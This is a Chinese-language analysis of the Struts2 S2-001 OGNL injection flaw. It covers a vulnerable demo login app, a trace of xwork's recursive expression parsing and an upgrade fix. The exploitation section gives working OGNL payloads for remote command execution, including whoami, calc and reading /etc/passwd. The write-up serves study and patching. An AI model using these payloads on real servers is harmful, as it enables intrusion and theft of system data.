S2-001漏洞分析
1.漏洞描述
該漏洞因用戶提交表單數據並且驗證失敗時,後端會將用戶之前提交的參數值使用OGNL表達式%{value}進行解析,然後重新填充到對應的表單數據中。如註冊或登錄頁面,提交失敗後一般會默認返回之前提交的數據,由於後端使用%{value}對提交的數據執行了一次OGNL 表達式解析,所以可以直接構造 Payload進行命令執行。
2.影響版本
Struts 2.0.0 - Struts 2.0.8
3.漏洞詳情
首先寫一個漏洞利用環境,代碼結構如下:
LoginAction.java源碼:
package com.cy.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport{
private static final long serialVersionUID = 1L;
private String username ;
private String password ;
public String getUsername(){
return this.username;
}
public String getPassword(){
return this.password;
}
public void setUsername(String username){
this.username = username;
}
public void setPassword(String password){
this.password = password;
}
public String execute() throws Exception{
if (this.username == null || this.username == "" ||this.password == null || this.password == "") {
return "error";
}
if ((this.username.equals("admin")) && (this.password.equals("123456"))) {
return "success";
}else {
return "error";
}
}
}
struts.xml源碼:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.cy.demo.action.LoginAction" method="execute">
<result name="success">/welcome.jsp</result>
<result name="error">/index.jsp</result>
</action>
</package>
</struts>
web.xml源碼:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
index.jsp源碼:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>用戶登錄</h2>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp源碼:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>welcome</title>
</head>
<body>
<h2>welcome,<s:property value="username"></s:property></h2>
</body>
</html>
/org/apache/struts2/views/jsp/ComponentTagSupport.java
爲了比較容易理解,我們這裏從對<s:textfield name="password" label="password" />的解析開始說起,doStartTag()會對jsp標籤進行解析,後面會跳轉到doEndTag(),跟進component.end()最後到達UIBean.java。
跟入evaluateParams(),由於開啓了altSyntax,expr會由之前的password變爲爲%{password}。接着跟入findValue()方法來到了Component.java。
由於開啓了altSyntax,而且toType是class.java.lang.string,所以程序會進入TextParseUtil.translateVariables()。
接下來使用的源碼位於xwork-2.0.3.jar,跟進上面的translateVariables()到/com/opensymphony/xwork2/util/TextParseUtil.java。
我們繼續跟入translateVariables()方法,我們可以看到translateVariables()方法遞歸解析了表達式,在處理完%{password}後將password的值直接取出並繼續在while循環中解析,如果用戶輸入惡意的ognl表達式,如%{1+2},最後會在Object o = stack.findValue(var, asType)得以解析執行。
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
4.漏洞利用
(1)輸入%{1+2},返回3證明漏洞存在。
(2)獲取tomcat執行路徑
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
(3)獲取web路徑
%{ #[email protected]@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
(4)執行命令
執行whoami:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
彈計算器:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
執行任意命令時,如果所執行的命令需要組合,則可如下:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
值得一提的是,表單驗證錯誤只是這個漏洞出現的場景之一,並不是該漏洞的產生的原因。在實際場景中,比如登陸等位置,往往會配置了Validation(限制用戶名長度等),驗證出錯時,就會原樣返回用戶輸入的值而不會跳轉到新的頁面,這樣就有可能發生此漏洞。
5.漏洞修復
升級xwork-2.0.3.jar到2.0.4以上,在xwork-2.0.4中由於改變了ognl表達式的解析方法,從而不會產生遞歸解析,這樣用戶的輸入也不會被解析執行。